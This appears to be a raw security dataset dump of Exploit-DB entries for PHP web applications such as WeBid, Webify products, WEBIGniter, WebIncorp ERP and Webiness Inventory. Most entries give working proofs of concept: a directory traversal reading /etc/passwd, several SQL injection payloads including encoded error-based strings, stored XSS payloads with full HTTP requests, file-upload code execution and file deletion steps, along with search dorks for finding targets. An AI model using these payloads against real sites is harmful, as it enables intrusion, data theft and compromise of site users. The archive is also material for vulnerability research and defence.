deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22829
Description: weBid 1.0.5 - Directory Traversal
Type: webapps
Platform: php
Date: 2012-11-19
Author: loneferret

Exploit:
# Author: loneferret of Offensive Security
# Product: WeBid 
# Version: 1.0.4 & 1.0.5 (and maybe older versions)
# Vendor Site: http://www.webidsupport.com
# Software Download: http://sourceforge.net/projects/simpleauction/files/simpleauction/WeBid%20v1.0.5/WeBid-1.0.5.zip/download/download
# Other related vulnerabilities: http://www.exploit-db.com/exploits/22828/

# Tested on: Ubuntu Linux

# Software description:
# WeBid is an open-source auction script package.
# Although still in beta stages WeBid is one of the best open-source solutions 
# for getting an auction site up and running quickly and cheaply.
# Written in the popular scripting language PHP and with a large collection of highly customisable 
# features WeBid is the prefect choice for setting up any auction site.
# Some of it's key features which make WeBid a great choice are: WeBid has an easy to 
# use administration panel; a user friendly installation process, which allows you to have 
# your own auction site set up in minutes; an inbuilt payment system allowing your users to 
# easily pay fees and their purchased items with their favourite payment gateways (these include PayPal, Authorize.Net).
# As well as being incredibly easy to edit to your liking.

# Vulnerability:
# Directory Traversal.

# PoC:
# http://server/path/loader.php?js=../../../../../../../../../../etc/passwd%00.js;

# GET /WeBid/loader.php?js=../../../../../../../../../../etc/passwd%00.js; HTTP/1.1
# Cookie: PHPSESSID=99ec7c29eb7e060d56bb77aa1320f6de; WEBID_ONLINE=eda35dc2ad7782db5dee1543be4daf4c
# Host: 172.16.194.148
# Connection: Keep-alive
# Accept-Encoding: gzip,deflate
# User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
# Accept: */*

# Code loader.php
# if (isset($_GET['js']))
# { 
#       $js = explode(';', $_GET['js']);
#        foreach ($js as $val)
#        {
#                $ext = substr($val, strrpos($val, '.') + 1);
#                if ($ext == 'php')
#                {
#                        if (check_file($val))
#                        {
#                                include $val;
#                        }
#                }
#                elseif ($ext == 'js' || $ext == 'css')
#               {
#                        if (is_file($val))
#                        {
#                                echo file_get_contents($val);
#                                echo "\n";
#                        }
#                }
#       }
# }
Exploit-DB #23997
Description: WeBid 1.0.6 - SQL Injection
Type: webapps
Platform: php
Date: 2013-01-09
Author: Life Wasted

Exploit:
# Exploit Title: WeBid 1.0.6 SQL Injection Vulnerability
# Google Dork: "Powered by WeBid"
# Date: 1/9/13
# Exploit Author: Life Wasted
# Vendor Homepage: http://www.webidsupport.com/
# Version: Tested on 1.0.6, but could affect other version
# Tested On: Linux, Windows

Vulnerable Code:
Line 53 of the validate.php file
Lines 198 through 202 and 234 in the includes/functions_fees.php file

Proof of Concept:
validate.php?toocheckout=asdf calls the toocheckout_validate() function
toocheckout_validate() takes unsanitized post input from 2 different parameters (total and cart_order_id)
toocheckout_validate() calls callback_process() if the post parameter credit_card_processed is equal to 'Y'
The unsanitized parameters are using in an UPDATE query:
$query = "UPDATE " . $DBPrefix . "users SET balance = balance + " . $payment_amount . $addquery . " WHERE id = " . $custom_id;
This allows an attacker to retrieve data using a time-based blind injection technique or by updating a pre-existing value to the output of an embedded query.

For example, the attacker could send the following post data to extract the name of the current database.

http://site.com/validate.php?toocheckout=asdf
POST DATA: cart_order_id=*Attackers UserID*WEBID1&credit_card_processed=Y&total=1, name=(SELECT database())

The resulting query would be:
UPDATE users SET balance = balance + 1, name=(SELECT database()) WHERE id = *Attackers User ID*

Then the attacker could sign in to their account and view the requested data by going to the edit_data.php page
Exploit-DB #37415
Description: Webify (Multiple Products) - Multiple HTML Injection / Local File Inclusions
Type: webapps
Platform: php
Date: 2012-06-16
Author: snup

Exploit:
source: https://www.securityfocus.com/bid/54045/info

Multiple Webify products are prone to multiple HTML-injection and local file-include vulnerabilities because they fail to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to execute arbitrary HTML and script code in the context of the affected browser, steal cookie-based authentication credentials, and execute arbitrary local scripts in the context of the web server process. Other attacks are also possible.

The following Webify products are vulnerable:

Webify eDownloads Cart
Webify eDownloads
Webify Project Manager
Webify Blog 

Local file include:

http://www.example.com/index.php?page=[LOCAL FILE INCLUDE]

http://www.example.com/admin/index.php?page=[LOCAL FILE INCLUDE]

HTML injection:

http://www.example.com/admin/index.php?page=query [Persistent Script Code Inject via Query Value]

http://www.example.com/admin/index.php?page=addobjects [Persistent Script Code Inject via addObject name Value]

http://www.example.com/admin/index.php?page=formdesigner [Persistent Script Code Inject via former label Value]

http://www.example.com/admin/index.php?page=comments [Persistent Script Code Inject via Comment text & name Value]

http://www.example.com/admin/index.php?page=submissions [Persistent Script Code Inject via submission name Value]
Exploit-DB #21250
Description: Webify Blog - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2012-09-11
Author: JIKO

Exploit:
#########################################################################################
[!x!] Informations:
 
Name           : Webify Blog
Download       : http://www.webify.ws/blog
Vulnerability  : Delete Arbitrary File Vulnerability
Author         : JIKO(JAWAD)
Contact        : jalikom@hotmail.com
Site           : No-ExploiT.CoM (Is Back)
Notes          : No-ExploiT.CoM Miss
#########################################################################################
[!x!] Bug: Delete Arbitrary File Vulnerability 
 
you can delete file uploaded in post and upload your files (for php if allowed you can :))

 
#########################################################################################
[!x!] Exploit:
 
Exploit: http://server/blog/uploads/X/

change X with number of post 

 
########################################################################################
[!x!] To: All friends
Cyber_Devil Allah with you

members [No-exploit.Com]
Exploit-DB #21270
Description: Webify Business Directory - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2012-09-12
Author: JIKO

Exploit:
#########################################################################################
[!x!] Informations:  
Name           : Webify business directory
Download       : http://webify.ws/businessdirectory
Vulnerability  : Delete Arbitrary File Vulnerability
Author         : JIKO(JAWAD)
Contact        : jalikom@hotmail.com
Site           : No-ExploiT.CoM (Is Back)
Notes          : No-ExploiT.CoM 
#########################################################################################
[!x!] Bug: Delete Arbitrary File Vulnerability   you can delete file uploaded in post and upload your files (for php if allowed you can :))   #########################################################################################
[!x!] Exploit:  Exploit: http://server/businessdirectory/uploads/X/ change X with number of post    ########################################################################################
[!x!] To: All friendsCyber_Devil Allah with you members [No-exploit.Com]
Exploit-DB #21269
Description: Webify eDownloads Cart - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2012-09-12
Author: JIKO

Exploit:
#########################################################################################
[!x!] Informations:  
Name           : Webify edownloads cart
Download       : http://www.webify.ws/edownloadscart
Vulnerability  : Delete Arbitrary File 
VulnerabilityAuthor         : JIKO(JAWAD)
Contact        : jalikom@hotmail.com
Site           : No-ExploiT.CoM (Is Back)
Notes          : No-ExploiT.CoM Miss
#########################################################################################
[!x!] Bug: Delete Arbitrary File Vulnerability   
you can delete file uploaded in post and upload your files (for php if allowed you can :))
#########################################################################################
[!x!] Exploit:  Exploit: http://server/edownloadscart/uploads/X/ change X with number of post 
########################################################################################
[!x!] To: All friendsCyber_Devil Allah with you members [No-exploit.Com]
Exploit-DB #19574
Description: Webify Link Directory - SQL Injection
Type: webapps
Platform: php
Date: 2012-07-04
Author: Daniel Godoy

Exploit:
# Exploit Title: Webify Link Directory / SQL Injection
# Date: 04/07/2012
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Sofware web: http://webify.ws/index.php?page=getapp&id=10
# Tested on: Linux
# Dork: allinurl: index.php?page=browse&id=1
#
# www.chap.cl
# Este Advisory fue descubierto por Daniel Godoy, integrante de
Project CHAP Security
# be secured / stay secure
# contacto@chap.cl

[Comment]
Greetz: Hernan Jais, Alfonso Cuevas, SPEED, hacklego, Incid3nt,
Maximiliano Soler, Pablin77,_tty0, Login-Root,Knet,Kikito,Duraznit0,
InyeXion, ksha, zerial,LinuxFer, Scorp
her0, r0dr1 y demas user de RemoteExecution
www.remoteexecution.info www.remoteexcution.com.ar
#RemoteExecution Hacking Group

[PoC]

http://localhost/index.php?page=browse&id=1' AND SLEEP(0) AND
'chap'='chap
Exploit-DB #21271
Description: Webify Photo Gallery - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2012-09-12
Author: JIKO

Exploit:
#########################################################################################
[!x!] Informations:  
Name           : Webify photo gallery
Download       : http://webify.ws/photogallery
Vulnerability  : Delete Arbitrary File Vulnerability
Author         : JIKO(JAWAD)
Contact        : jalikom@hotmail.com
Site           : No-ExploiT.CoM (Is Back)
Notes          : No-ExploiT.CoM #########################################################################################
[!x!] Bug: Delete Arbitrary File Vulnerability   you can delete file uploaded in post and upload your files (for php if allowed you can :))   #########################################################################################
[!x!] Exploit:  Exploit: http://server/photogallery/uploads/X/ change X with number of post    ########################################################################################
[!x!] To: All friendsCyber_Devil Allah with you members [No-exploit.Com]
Exploit-DB #51807
Description: WEBIGniter v28.7.23 - Stored Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2024-02-21
Author: Sagar Banwa

Exploit:
# Exploit Title: WEBIGniter v28.7.23 Stored Cross Site Scripting (XSS)
# Exploit Author: Sagar Banwa
# Date: 19/10/2023
# Vendor: https://webigniter.net/
# Software: https://webigniter.net/demo
# Reference: https://portswigger.net/web-security/cross-site-scripting
# Tested on: Windows 10/Kali Linux
# CVE : CVE-2023-46391


Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser.

Steps-To-Reproduce:

1. Login to the Account 
2. Go to the Categories.
3. Now add catagory > Name section use payload : "><script>alert(1)</script> and choose layoutfile as cat.php


Request 

POST /cms/categories/add HTTP/2
Host: demo.webigniter.net
Cookie: ci_session=iq8k2mjlp2dg4pqa42m3v3dn2d4lmtjb; hash=6ROmvkMoHKviB4zypWJXmjIv6vhTQlFw6bdHlRjX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Origin: https://demo.webigniter.net
Referer: https://demo.webigniter.net/cms/categories/add
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

name=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&slug=scriptalert1script&layout_file=cat.php
Exploit-DB #51900
Description: WEBIGniter v28.7.23 - Stored XSS
Type: webapps
Platform: php
Date: 2024-03-18
Author: Mesut Cetin

Exploit:
## Title: WEBIGniter v28.7.23 XSS
## Author: RedTeamer IT Security, Mesut Cetin
## Date: 09/04/2023
## Vendor: https://webigniter.net/
## Software: https://webigniter.net/demo
## Reference: https://portswigger.net/web-security/cross-site-scripting/stored

## Description:
During the user creation process, the 'your_name' parameter fails to adequately validate user input, rendering the system vulnerable to reflected cross-site scripting (XSS) attacks.

## PoC
To exploit this vulnerability, an attacker can inject malicious JavaScript code into the "your_name" parameter under https://webigniter.net/create-account during the user creation process. This code, when embedded within an image tag like this: <img src onerror="prompt(8)">, can be executed when the user navigates to the "users" page under their profile.

## Mitigation
To mitigate this risk, the "your_name" parameter should be subjected to rigorous input validation and encoding to ensure that all user input is sanitized and rendered harmless.
Exploit-DB #51736
Description: WEBIGniter v28.7.23 File Upload - Remote Code Execution
Type: webapps
Platform: php
Date: 2023-10-09
Author: nu11secur1ty

Exploit:
## Title: WEBIGniter v28.7.23 File Upload - Remote Code Execution
## Author: nu11secur1ty
## Date: 09/04/2023
## Vendor: https://webigniter.net/
## Software: https://webigniter.net/demo
## Reference: https://portswigger.net/web-security/file-upload


## Description:
The media function suffers from file upload vulnerability.
The attacker can upload and he can execute remotely very dangerous PHP
files, by using any created account before this on this system.
Then he can do very malicious stuff with the server of this application.

## Staus: HIGH-CRITICAL Vulnerability

[+]Simple Exploit:
```PHP
<?php
	phpinfo();
?>

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WEBIGniter/2023/WEBIGniter-28.7.23-File-Upload-RCE)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/09/webigniter-28723-file-upload-rce.html)

## Time spent:
00:15:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and
https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #47199
Description: WebIncorp ERP - SQL injection
Type: webapps
Platform: php
Date: 2019-08-01
Author: n1x_

Exploit:
# Exploit Title: WebIncorp ERP - SQL injection
# Date: 1.8.2019.
# Exploit Author: n1x_ [MS-WEB]
# Vendor Homepage: https://www.webincorp.com/products/erp-software-qatar
# Version: Every version
# CWE : CWE-89

Vulnerable parameter: prod_id (product_detail.php)

[GET Request]

GET https://host/product_detail.php?prod_id=x' HTTP/1.1
Accept: text/html, application/xhtml+xml, application/xml; q=0.9, */*; q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US
Cache-Control: max-age=0
Cookie: PHPSESSID=t57dv7rdsvut33jroled9v6435
Host: host
Referer: https://host/
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362
Exploit-DB #46350
Description: Webiness Inventory 2.3 - 'email' SQL Injection
Type: webapps
Platform: php
Date: 2019-02-11
Author: Mehmet EMIROGLU

Exploit:
===========================================================================================
# Exploit Title: Webiness Inventory 2.3 - 'email' SQL Vulnerability
# Dork: N/A
# Date: 10-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/webinessinventory/files/
# Software Link: hhttps://sourceforge.net/projects/webinessinventory/files/
# Version: 2.3
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Small stock inventory managment application for web.
===========================================================================================
# POC - SQL
# Parameters : email
# Attack Pattern :
-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27

# POST Request:
http://localhost/webiness/index.php?request=Wsauth/login/[SQL]
# https://i.hizliresim.com/ADObQ7.jpg
=========================================================================
POST /webiness/index.php?request=Wsauth/login/ HTTP/1.1
Host: localhost
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 458
Content-Type: multipart/form-data; boundary=54a535315dda429db2f07895827ff1c6
Cookie: PHPSESSID=6e5836p7djilmbh3bunro0ohu0
Referer: http://localhost/webiness/
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/54.0.2840.99 Safari/537.36

--54a535315dda429db2f07895827ff1c6
Content-Disposition: form-data; name="email"

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT
COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
--54a535315dda429db2f07895827ff1c6
Content-Disposition: form-data; name="password"

--54a535315dda429db2f07895827ff1c6--
Exploit-DB #45843
Description: Webiness Inventory 2.3 - 'order' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-13
Author: Ihsan Sencan

Exploit:
# Exploit Title: Webiness Inventory 2.3 - SQL Injection
# Dork: N/A
# Date: 2018-11-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://github.com/webiness/webiness_inventory
# Software Link: https://kent.dl.sourceforge.net/project/webinessinventory/2.3/webiness_inventory-2.3.zip
# Version: 2.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/protected/library/ajax/WsModelGrid.php
# 
POST /[PATH]/protected/library/ajax/WsModelGrid.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 541
model=PartnerModel&order=%28%53%45%4c%45%43%54%20%31%20%46%52%4f%4d%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%32%3d%32%2c%31%29%29%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%50%4c%55%47%49%4e%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29
HTTP/1.1 500 Internal Server Error
Date: Sun, 11 Nov 2018 16:16:54 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 315
Connection: close
Content-Type: text/html; charset=UTF-8
Exploit-DB #46405
Description: Webiness Inventory 2.3 - 'ProductModel' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2019-02-18
Author: Mehmet EMIROGLU

Exploit:
===========================================================================================
# Exploit Title: Webiness Inventory 2.3 - 'ProductModel' Arbitrary File Upload
# Dork: N/A
# Date: 10-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/webinessinventory/files/
# Software Link: https://sourceforge.net/projects/webinessinventory/files/
# Version: 2.3
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: CVE-2019-8404
# Software Description: Small stock inventory managment application for web.
===========================================================================================
# POC:
# Sign in to admin panel. then go to the inventory tab.
  Switch to the products tab and create a new product.
  In product image, click the browse button and select a file.
  https://i.hizliresim.com/OvrOOn.jpg
  When you save the product, the script is loaded with the error file to
the server.
  for example service unvailable
  https://i.hizliresim.com/zjGqD4.jpg
  path to the file we uploaded
  https://i.hizliresim.com/XMbpp5.jpg
# http://localhost/[PATH]/runtime/ProductModel/[FILE]
===========================================================================================